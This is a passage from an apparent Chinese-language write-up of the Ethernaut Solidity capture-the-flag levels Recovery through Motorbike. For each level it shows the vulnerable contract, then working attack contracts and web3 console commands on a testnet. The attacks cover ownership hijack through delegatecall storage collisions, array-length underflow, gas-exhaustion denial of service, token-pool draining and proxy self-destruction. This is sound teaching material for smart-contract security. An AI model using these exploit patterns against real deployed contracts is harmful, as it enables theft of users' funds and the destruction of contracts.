0，利用这一点，我们可以任意写`timeZone1Library`对应的地址。如果将`timeZone1Library`的地址写成我们部署的恶意合约地址，并在恶意合约内写一个`setTime`函数，当执行`timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature,
_timeStamp));`时就会调用到我们恶意合约内部的`setTime`函数，那么就可以实现合约的任意代码执行。具体操作如下：
1. 编写如下合约并部署，这里只要保证owner占据slot 2的低20个字节即可。
pragma solidity ^0.6.0;
contract attack{
address public timeZone1Library;
address public timeZone2Library;
address public owner;
function setTime(uint256 a) public {
owner = address(a);
}
}
2. 执行`await contract.setFirstTime('0xFB729c0f52FB99EFCDF135B35B614FE7097Dcc5D');`，其中`0xFB729c0f52FB99EFCDF135B35B614FE7097Dcc5D`换成你对应部署的恶意合约地址，通过这一步，修改`timeZone1Library`为恶意合约的地址
3. 然后执行`await contract.setFirstTime('0x8837D23b683529152E334F64924bCE82477A4261');`，这里括号内的是metamask的钱包地址，完成篡改。
> 这里`setSecondTime`函数实际上修改的是`LibraryContract`中的变量，感觉没什么用。
# 17\. Recovery
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
using SafeMath for uint256;
// public variables
string public name;
mapping (address => uint) public balances;
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value.mul(10);
}
// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}
这个题创建者利用`Recovery`合约创建了一个`SimpleToken`合约吗，题目目的是让我们找到失去的合约地址，比较简单。
首先在`https://rinkeby.etherscan.io/`搜索一下创建的`Recovery`合约对应的地址，譬如我这里是`0xe04C212cf49E9fBf4D9eAB0b9570c4A152031Ca1`，查看该合约的`Internal
Txns`，可以发现有三条记录，其中最近一条，就是创建的`SimpleToken`合约的地址
点开后可以得到对应合约的地址，我这里是`0x2b62a7805C6CAfb5585c66E9C86a47d8a4008166`，然后直接针对这个合约调用`destory`函数即可，代码如下，其中`target`设置为上面找到的合约地址，`myaddr`设置为metamask钱包账户地址。
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract attack {
address payable target;
address payable myaddr;
constructor(address payable _addr, address payable _myaddr) public {
target=_addr;
myaddr=_myaddr;
}
function exploit() public{
target.call(abi.encodeWithSignature("destroy(address)",myaddr));
}
}
# 18\. MagicNumber
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract MagicNum {
address public solver;
constructor() public {}
function setSolver(address _solver) public {
solver = _solver;
}
/*
____________/\\\_______/\\\\\\\\\_____
__________/\\\\\_____/\\\///////\\\___
________/\\\/\\\____\///______\//\\\__
______/\\\/\/\\\______________/\\\/___
____/\\\/__\/\\\___________/\\\//_____
__/\\\\\\\\\\\\\\\\_____/\\\//________
_\///////////\\\//____/\\\/___________
___________\/\\\_____/\\\\\\\\\\\\\\\_
___________\///_____\///////////////__
*/
}
题目要求我们给出一个合约地址，该合约需要返回`whatIsTheMeaningOfLife()`的正确数字，查了一下这个对应的数字是42。除此之外，本题还有一个要求，就是合约必须只能有10个操作码，因此我们必须使用字节码手动编写一个程序，参考<https://www.ethervm.io/。按照这个思路，我们构造一下对应字节码：>
1. 首先需要构造`runtime opcode`运行时代码，也就是构造一下返回42的逻辑。最后一条命令一定是RETURN，而RETURN指令返回时，statck[0](即栈顶)对应的数字是`offset`，statck[1]是`length`，其最终返回的是`memory[offset:offset+length]`，因此我们首先需要把返回值42存到memory中，对应代码如下:
偏移 指令对应字节 实际汇编指令
0000 60 PUSH1 0x2a
0002 60 PUSH1 0x50
0004 52 mstore
0007 60 PUSH1 0x20
0009 60 PUSH1 0x50
000B F3 RETURN
上述汇编代码对应字节序列是`602a60505260206050f3`正好10个opcode，也是正好10个字节。这里`offset`最好设置的大一点，比如设置为0x50，具体原因在下面解释。
1. 构造完成后，还需要在上述代码前面加上初始化代码，初始化代码的作用是将我们上面的构造的运行时代码复制到`memory`中，然后再RETURN否则无法直接运行。复制代码利用`CODECOPY`指令
于是，我们考虑首先push这3个变量
偏移 指令对应字节 实际汇编指令
0000 60 PUSH1 0x0a
0002 60 PUSH1 0x0c
0004 60 PUSH1 0x00
0006 39 CODECOPY
0007 60 PUSH1 0x0a
0009 60 PUSH1 0x00
000B F3 RETURN
第一步`PUSH1 0x0a`对应的是length变量，因为我们上面构造的opcode序列长度为10。第二步`PUSH1
0x0c`是因为，初始化代码的长度为0xB，也就是运行时代码的字节码是从0xc偏移开始的，因此`offset`为0xc。第三步`PUSH1
0`是指定将我们的代码复制到memory的slot 0处。前4条指令，
**完成了将0xC到0x16这10个字节复制到memory的0x00到0xA位置处的任务** 。
> 这里就可以解释，为什么上面我们我们需要把0x2a复制到一个比较大的offset
> 0x50上，因为低位被我们用来存储运行时代码对应的字节了，当然如果你把运行时代码放到高位，0x2a放到低位也可以。
后3条指令，就是`return memory[0:0xa]`，也就是返回到我们刚才复制到memory中的运行时指令处，下面接第1部分我们写的代码即可运行。
1. 所以总的汇编代码如下：
偏移 指令对应字节 实际汇编指令
0000 60 PUSH1 0x0a
0002 60 PUSH1 0x0c
0004 60 PUSH1 0x00
0006 39 CODECOPY
0007 60 PUSH1 0x0a
0009 60 PUSH1 0x00
000B F3 RETURN
000C 60 PUSH1 0x2a
000E 60 PUSH1 0x50
0010 52 MSTORE
0011 60 PUSH1 0x20
0013 60 PUSH1 0x50
0015 F3 RETURN
上述字节码对应序列`600a600c600039600a6000f3602a60505260206050f3`，利用web3部署即可。
# 19 Alien Codex
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
import '../helpers/Ownable-05.sol';
contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;
}
function make_contact() public {
contact = true;
}
function record(bytes32 _content) contacted public {
codex.push(_content);
}
function retract() contacted public {
codex.length--;
}
function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}
~~又到了我最喜欢的内存布局题目了。~~
注意开头引入了一个`Ownable`合约，可以看<https://github.com/OpenZeppelin/openzeppelin-test-helpers/blob/master/contracts/Ownable.sol。这个合约中存在一个`_owner`变量，是address类型，占用20个字节，于是`contact`和其放到slot0中，而slot1则存放`codex.length`。本题的目标是我们要获取合约的控制权，也就是覆写slot>
0的低20个字节为我们的地址。
查看一下初始状态，由于还没有往数组里写东西，所以slot 1为0。整体思路就是，通过`record`函数往动态数组里写东西，覆盖slot
0的低20个字节位我们的地址。具体过程如下：
1. slot 1初始值是0，如果我们调用一下`retract`函数让其减1呢？
这里的内容就变成了$2^{256}-1$，slodity对动态数组的长度这里并没有溢出检查，因此减1即可完成下溢。
1. 计算一下数组第一个元素的存储位置`keccack256(1)=0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6`，于是用$2^{256}-0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6$得到的就是slot 0 和codex数组的首地址的偏移
2. 通过revise函数设置对应偏移，即`contract.revise('0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a','0x0000000000000000000000018837D23b683529152E334F64924bCE82477A4261')`，覆写slot 0，完成题目，这里低20个字节是你的账户地址。
总体来说，这个题目就是考察动态数组的内存布局+简单的整数溢出。
# 20 Denial
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Denial {
using SafeMath for uint256;
address public partner; // withdrawal partner - pay the gas, split the withdraw
address payable public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}
这关的目标就是当owner取款时，我们如果能成功阻止`owner.transfer`这个行为，让合约仍有余额，并且交易的gas为1M或者更少，那么就可以通过本关。
本题代码的主要漏洞在于，`partner.call`在调用`call`函数时没有检查返回值，也没有指定gas，这就导致如果外部调用是一个gas消耗很高的操作的话，就会使得整个交易出现`out
of gas`的错误，从而`revert`，也自然不会执行`owner.transfer`操作。
这个消耗极高的操作有两种实现思路，一种是我们可以通过一个循环，来不断消耗gas，从而达到耗尽gas的目的。另外一种方式是，可以使用`assert`函数，这个函数和`require`比较像，用来做条件检查，`assert`的特点是当参数为false时，会消耗掉所有的gas。
如果是第一种思路，可以这么写
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Attack {
address public target;
constructor(address payable _addr)public payable{
target=_addr;
target.call(abi.encodeWithSignature("setWithdrawPartner(address)", address(this)));
}
fallback() payable external {
while(true){
}
}
}
第二种思路就这么写，只需要改一下fallback函数这
pragma solidity ^0.6.0;
contract attack {
address public target;
constructor(address _addr) public payable {
target=_addr;
target.call(abi.encodeWithSignature("setWithdrawPartner(address)", address(this)));
}
fallback() external payable {
assert(false);
}
}
提交instance后查看我们部署的合约地址，可以看到题目合约的`withdraw`操作发生了out of
gas错误，由于需要耗尽gas，所有需要等待一段时间才可以看到结果。
# 21\. Shop
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Buyer {
function price() external view returns (uint);
}
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
这个题的要求是让我们以少于所需price的值完成购买，可以看到`buy`函数内部的逻辑和第11关差不多，唯一的区别在于这里的`price`函数是一个有`view`属性的函数。查阅solidity的[文档](https://docs.soliditylang.org/en/latest/contracts.html?highlight=view#view-functions)可知，有`view`属性的函数意味着它们不能修改状态，所谓修改状态，是指以下8种情况：
1. 写状态变量
2. 触发事件(emit events)
3. 创建其他合约
4. 使用`selfdestruct`
5. 通过`call`发送以太币
6. 使用call调用任何没有被标记为`view`或者`pure`的函数
7. 使用低级的`call`
8. 使用包含opcode的内联汇编
因此我们不能使用像第11关那样，使用一个状态变量来标记`price`函数是不是第一次被调用了。幸好这里给了一个`isSold`变量，在第一次调用`price`函数时，这个变量为false，而第二次为true，利用这一点，我们可以完成判断返回。但是由于`view`函数不允许低级的call，所以我们无法使用`call`调用`isSold`函数，但solidity有一个`staticcall`不会改变状态，并且可以在view函数内部使用，替代一下即可。代码如下：
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Buyer {
address public target;
constructor(address _addr) public{
target=_addr;
}
function exploit() public {
bool b;
(b,)=target.call{gas:100000}(abi.encodeWithSignature("buy()"));
require(b);
}
function price() external view returns (uint result){
bytes memory r;
(,r)=target.staticcall(abi.encodeWithSignature("isSold()"));
if(uint8(r[31])==0){
result=1000;
}else{
result=1;
}
return result;
}
}
设置target为题目合约地址，然后执行exploit函数即可。如果出现out of gas可能需要在部署时调大gas limit。
这里说明比较特殊的一点，就是这个`uint8(r[31])`。因为`call`、`delegatecall`、`staticcall`返回的内容实际上都是`bytes
memory`，而根据题目合约我们知道，这个`isSold`是一个bool类型的值，为了进行判断我们需要将bytes动态数组转化为对应bool值。比如说，如果bool值为true,它对应的bytes数组实际上是`0x0000000000000000000000000000000000000000000000000000000000000001`，是一个32字节连续的数组。而我们取数组下标时，实际上是从高位开始取的，也就是说，`r[0]`是0x00，`r[1]`也是0x00，直到`r[31]`才是0x01，而在解析成bool值和数字时，我们又是从低位开始的，所以这里转化的时候我取了`r[31]`和0做比较，如果为0，说明`isSold`是false，也就是第一次访问，否则是第二次访问。
> 当然关于bytes -> bool /
> uint，还有其他很多种方式。比如我看有的wp是用opcode加载内存上的值来比较，有兴趣可以看[这篇](https://medium.com/@this_post/ethernaut-21-shop-> writeups-e99f3ebb9b7)，我这里选择直接调用`staticcall`，相对简单一点。还有一种方式是通过合约继承，可以参考[这篇](https://github.com/STYJ/Ethernaut-> Solutions)，这里不再赘述。
# 22 Dex
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Dex {
using SafeMath for uint;
address public token1;
address public token2;
constructor(address _token1, address _token2) public {
token1 = _token1;
token2 = _token2;
}
function swap(address from, address to, uint amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swap_amount = get_swap_price(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swap_amount);
IERC20(to).transferFrom(address(this), msg.sender, swap_amount);
}
function add_liquidity(address token_address, uint amount) public{
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function get_swap_price(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint amount) public {
SwappableToken(token1).approve(spender, amount);
SwappableToken(token2).approve(spender, amount);
}
function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}
contract SwappableToken is ERC20 {
constructor(string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
}
}
本题定义了一个用来交换货币的合约，其中token1和token2都是`SwappableToken`类型的一种erc20代币，这两个的地址在初始化实例时就确定了。题目初始状态，player拥有这两种代币的数量为10，而合约拥有数量为100，我们的最终目的是，将合约中某种代币的数量清0，也就是让合约拥有的token1或者token2代币的数量为0。
本题的漏洞点在于，在计算每次交换的代币数量时，`get_swap_price`函数内部使用了除法，而在接收这个结果的这一句，`swap_amount`定义为uint256类型，由于除法可能产生小数，小数转整型不可避免地存在精度缺失问题，导致了在交换过程中我们可以获取更多代币，从而达到清空题目合约拥有代币数的目的。下面说具体做法
在开始之前，先把player和合约账户给approve一下，方便后面转账
await contract.approve(player,1000)
await contract.approve(contract.address,1000)
接下来就是一个循环转账的过程，思路就是每一次都将我们当前拥有的代币全部交换，首先需要通过`await contract.token1()`和`await
contract.token2()`获取token1和token2的地址，这里我直接赋值给了变量
token1 = (await contract.token1())
token2 = (await contract.token2())
//第一次交换
await contract.swap(token1,token2,10)
//第二次交换
await contract.swap(token2,token1,20)
//第三次交换
await contract.swap(token1,token2,24)
//第四次交换
await contract.swap(token2,token1,30)
//第五次交换
await contract.swap(token1,token2,41)
//第六次交换，注意这里是45就正好，多了会超过最大值报错
await contract.swap(token2,token1,45)
中间可以使用如下命令获取不同地址对应不同token的余额
(await contract.balanceOf(token1,player)).words[0]
(await contract.balanceOf(token2,player)).words[0]
(await contract.balanceOf(token1,contract.address)).words[0]
(await contract.balanceOf(token2,contract.address)).words[0]
整个过程token的变化如上图所示，简单用excel写了一下。
总结一下，本题考察 ** _类型转换时的精度缺失问题_** 。 ~~利用这个问题左脚踩右脚上天~~
# 23.Dex Two
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';
contract DexTwo {
using SafeMath for uint;
address public token1;
address public token2;
constructor(address _token1, address _token2) public {
token1 = _token1;
token2 = _token2;
}
function swap(address from, address to, uint amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swap_amount = get_swap_amount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swap_amount);
IERC20(to).transferFrom(address(this), msg.sender, swap_amount);
}
function add_liquidity(address token_address, uint amount) public{
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function get_swap_amount(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint amount) public {
SwappableTokenTwo(token1).approve(spender, amount);
SwappableTokenTwo(token2).approve(spender, amount);
}
function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}
contract SwappableTokenTwo is ERC20 {
constructor(string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
}
}
Dex two版本的题目跟上一题相比，去掉了`require((from == token1 && to == token2) || (from ==
token2 && to == token1), "Invalid
tokens");`这一行，同时题目要求也变成要求我们让合约的2种token拥有数量都清0，思路就很清晰了，我们可以再写一个token，然后将合约中的token，全部转移到我们的第三方token中即可。
首先我们需要部署两个用来恶意转账的中间token合约，他们的代码是一样的
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.2.0/contracts/token/ERC20/IERC20.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.2.0/contracts/token/ERC20/ERC20.sol";
contract Mytoken is ERC20 {
address public target;
constructor(string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
}
}
这里在初始化的时候，设置`initialSupply`为200，也就是让我们初始拥有200个恶意token。然后approve题目地址，并转给题目地址100个token，这样我们和题目合约初始情况下各拥有100个恶意合约的token。这里我直接复用上个题的前半部分
然后执行如下代码即可
await contract.approve(player,1000)
await contract.approve(contract.address,1000)
token1 = (await contract.token1())
token2 = (await contract.token2())
// mytoken1和mytoken2分别对应2个部署的恶意合约的地址
mytoken1 = '0x3f4082b2CB234C9AA8a07aA155c490F30C3a1efC'
mytoken2 = '0xe1f59E568302978f628500096e87A2763F6d1D5f'
await contract.swap(mytoken1,token1,100)
await contract.swap(mytoken2,token2,100)
# 24 Puzzle Wallet
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/proxy/UpgradeableProxy.sol";
contract PuzzleProxy is UpgradeableProxy {
address public pendingAdmin;
address public admin;
constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) public {
admin = _admin;
}
modifier onlyAdmin {
require(msg.sender == admin, "Caller is not the admin");
_;
}
function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}
function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
admin = pendingAdmin;
}
function upgradeTo(address _newImplementation) external onlyAdmin {
_upgradeTo(_newImplementation);
}
}
contract PuzzleWallet {
using SafeMath for uint256;
address public owner;
uint256 public maxBalance;
mapping(address => bool) public whitelisted;
mapping(address => uint256) public balances;
function init(uint256 _maxBalance) public {
require(maxBalance == 0, "Already initialized");
maxBalance = _maxBalance;
owner = msg.sender;
}
modifier onlyWhitelisted {
require(whitelisted[msg.sender], "Not whitelisted");
_;
}
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}
function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}
function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
balances[msg.sender] = balances[msg.sender].add(msg.value);
}
function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] = balances[msg.sender].sub(value);
(bool success, ) = to.call{ value: value }(data);
require(success, "Execution failed");
}
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success, ) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
}
题目说明中，最终要求我们成为`PuzzleProxy`的admin，分析一下代码，`PuzzleProxy`合约继承了`UpgradeableProxy`，我们可以通过先执行`proposeNewAdmin`让自己的地址成为`pendingAdmin`，然后再执行`approveNewAdmin`来成为admin。但问题在于，`approveNewAdmin`有`onlyAdmin`这个限制，因此需要考虑如何绕过。
然后题目控制台中的`contract`实际上是下面的`PuzzleWallet`合约。查看该合约可以发现，除了`addToWhitelist`函数，其他的都要求我们先把自己的地址加入whitelist才能调用，然而`addToWhitelist`又要求msg.sender必须等于owner，查看一下可以发现owner是`PuzzleProxy`的地址，因此这条路到这里不通。可以看到，到这里为止，题目中给出的函数代码好像只能调用`proposeNewAdmin`，看起来本题好像无路可解。
这个题首先考察了对delegatecall的理解是否深入，在第6关题解中已经说明，delegatecall调用实际上相当于把对应合约代码迁移过来，而代码执行的`context`还是本合约。有了这一点理解后，我们画一下题目中两个合约的storage图，针对`PuzzleProxy`如下
=============================================
unused | pendingAdmin
--------------------------------------------- slot 0
12 bytes | 20 bytes
=============================================
unused | admin
--------------------------------------------- slot 1
12 bytes | 20 bytes
=============================================
针对`PuzzleWallet`如下
=============================================
unused | owner
--------------------------------------------- slot 0
12 bytes | 20 bytes
=============================================
maxBalance
--------------------------------------------- slot 1
32 bytes
=============================================
whitelisted
--------------------------------------------- slot 2
32 bytes
=============================================
balances
--------------------------------------------- slot 3
32 bytes
=============================================
我们唯一可以调用的函数`proposeNewAdmin`，实际上是对`slot
0`的的设置，但是，如果PuzzleWallet使用`delegatecall`调用`proposeNewAdmin`，由于`delegatecall`的特性，它实际上修改的是`owner`，于是就可以控制第二个合约。由于题目里的contract合约对应的是`PuzzleWallet`合约，因此我们需要手动调用一下`PuzzleProxy`，具体方法如下
functionSignature = {
name: 'proposeNewAdmin',
type: 'function',
inputs: [
{
type: 'address',
name: '_newAdmin'
}
]
}
params = [player]
data = web3.eth.abi.encodeFunctionCall(functionSignature, params)
await web3.eth.sendTransaction({from: player, to: instance, data})
//检查一下owner
await contract.owner()==player
通过上述调用我们已经成为`PuzzleWallet`合约的owner，下一步是添加自己的地址进`whitelisted`
await contract.proposeNewAdmin(player)
我们的最终目的是要修改`PuzzleProxy`合约的admin属性，对应的方式就是在`PuzzleWallet`使用delegatecall修改`maxBalance`属性，这里`init`和`setMaxBalance`两个函数对`maxBalance`进行了设置，但是由于`init`的require检查，我们无法调用，因此只能考虑调用`setMaxBalance`函数，而要调用这个函数，就需要使合约余额清0。
但是观察代码可知，`execute`取款函数在取款时检查了我们的余额，我们只能取出自己存入的余额，而合约初始就有0.001ether，只靠这个函数是无法让合约余额清0的。需要使用`multicall`函数。
`multicall`函数的设计目的是同时进行多次函数调用，换句话说，可以在这里多次取款，但是为了限制这一点，函数中通过如下代码检查是否是第一次调用`deposit`函数，由此限制了我们只能调用一次`deposit`函数
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
看起来写的逻辑很好，但由于这里使用了`selector`来比较，那么我们只需要换个方式调用`deposit`函数即可绕过。这里的方式是，我们调用`deposit`和`multicall(deposit)`，也就是在`multicall`内部再调用一个`multicall`，内部的这个`multicall`调用第二次`deposit`，这样第二次调用时，实际上`selector`对应`multicall`的签名，因此可以绕过检查。
> 写到这里莫名想到了前几天spring core
> rce那个修复ban了classloader关键字，然后使用class.module.classLoader绕过的方式。那个修复代码里使用的是对输入进行字符串比较，看输入内容是否含有classloader关键字，感觉跟这里比较函数选择器有点像。
按照上面的思路，我们调用`multicall`，且调用`deposit()`和`multicall(deposit())`函数，设定value值为0.001
ether，那么`balances[player]`就会加两次0.001 ether变成0.002 ether。但由于我们实际上只发送了0.001
ether，因此合约实际的余额`balanace`为0.002
ether，此时`balances[player]`和合约余额数值相等，因此再执行一次`execute`全部提款即可，具体代码如下：
// 获取deposit()函数的签名
depositData = await contract.methods["deposit()"].request().then(v => v.data)
// 获取multicall(deposit())的签名
multicallData = await contract.methods["multicall(bytes[])"].request([depositData]).then(v => v.data)
// 调用2次deposit
await contract.multicall([depositData, multicallData], {value: toWei('0.001')})
//检查一下，可以发现balances[player]确实变成了0.002 ether
fromWei((await contract.balances(player)).toString())
// 直接取款即可
await contract.execute(player,toWei('0.002'),0x0)
ok，余额清0，最后一步设定maxBalance
await contract.setMaxBalance(player)
由于它跟admin在同一个slot上，因此成功设定了admin为我们的地址，pwned。这个题真是太牛逼了，触及我的多个知识盲区，主要是evm对函数和参数的底层编码不太了解，以及不太熟悉web3.js的api。
# 25 Motorbike
// SPDX-License-Identifier: MIT
pragma solidity <0.7.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/proxy/Initializable.sol";
contract Motorbike {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
struct AddressSlot {
address value;
}
// Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
constructor(address _logic) public {
require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
_getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
(bool success,) = _logic.delegatecall(
abi.encodeWithSignature("initialize()")
);
require(success, "Call failed");
}
// Delegates the current call to `implementation`.
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
// Fallback function that delegates calls to the address returned by `_implementation()`.
// Will run if no other function in the contract matches the call data
fallback () external payable virtual {
_delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
}
// Returns an `AddressSlot` with member `value` located at `slot`.
function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r_slot := slot
}
}
}
contract Engine is Initializable {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
address public upgrader;
uint256 public horsePower;
struct AddressSlot {
address value;
}
function initialize() external initializer {
horsePower = 1000;
upgrader = msg.sender;
}
// Upgrade the implementation of the proxy to `newImplementation`
// subsequently execute the function call
function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
_authorizeUpgrade();
_upgradeToAndCall(newImplementation, data);
}
// Restrict to upgrader role
function _authorizeUpgrade() internal view {
require(msg.sender == upgrader, "Can't upgrade");
}
// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
function _upgradeToAndCall(
address newImplementation,
bytes memory data
) internal {
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0) {
(bool success,) = newImplementation.delegatecall(data);
require(success, "Call failed");
}
}
// Stores a new address in the EIP1967 implementation slot.
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
AddressSlot storage r;
assembly {
r_slot := _IMPLEMENTATION_SLOT
}
r.value = newImplementation;
}
}
这个题目算是上面题目的简单版本，本题的最终目的是要让合约执行`selfdestruct`函数自毁。get new
instance后，在控制台里交互的contract的地址，实际是`Motorbike`合约的地址，而`Engine`合约则被部署在了`_IMPLEMENTATION_SLOT`上，因此部署合约后，首先读一下`Engine`合约的地址
slotaddr = '0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc'
await web3.eth.getStorageAt(contract.address,slotaddr)
拿到`Engine`合约对应的地址为`0x1f4dbbf9fb6e962e74559832d2882451da91470a`，注意到这里有两个变量`upgrader`和`horsePower`，然后使用getStorageAt去读一下，发现它们内容都为0，说明此时`Engine`合约还没有执行
`initialize()`函数。因此，我们可以通过外部调用`Engine`合约的`initialize()`函数，来让`Engine`合约的upgrader变成我们的地址。
又由于`upgradeToAndCall`函数调用了`_upgradeToAndCall`函数，而`_upgradeToAndCall`内部执行了
(bool success,) = newImplementation.delegatecall(data);
这里`newImplementation`和`data`都是完全可控的，因此在这里设置`newImplementation`为我们自定义的恶意合约地址，`data`设定为自毁函数的`function
seletor`值，由于`delegatecall`是在本函数的上下文执行的，因此执行远程函数代码中的`selfdestruct`时，这个合约就会自毁，从而达到题目条件。
思路如下，攻击代码如下:
//SPDX-License-Identifier: MIT
pragma solidity <0.7.0;
contract attack{
address target;
constructor(address _addr)public{
target=_addr;
}
function step1beupgrader()public{
bool succ;
(succ,)=target.call(abi.encodeWithSignature("initialize()"));
require(succ,"step1 failed!");
}
function step2exp()public{
bool succ;
DestructContract destructContract = new DestructContract();
(succ,)=target.call(abi.encodeWithSignature("upgradeToAndCall(address,bytes)",address(destructContract),abi.encodeWithSignature("sakai()")));
require(succ,"step2 failed!");
}
}
contract DestructContract{
function sakai() external{
selfdestruct(msg.sender);
}
}
执行`step1beupgrade`函数后，再去读`Engine`合约的storage值，可以看到slot
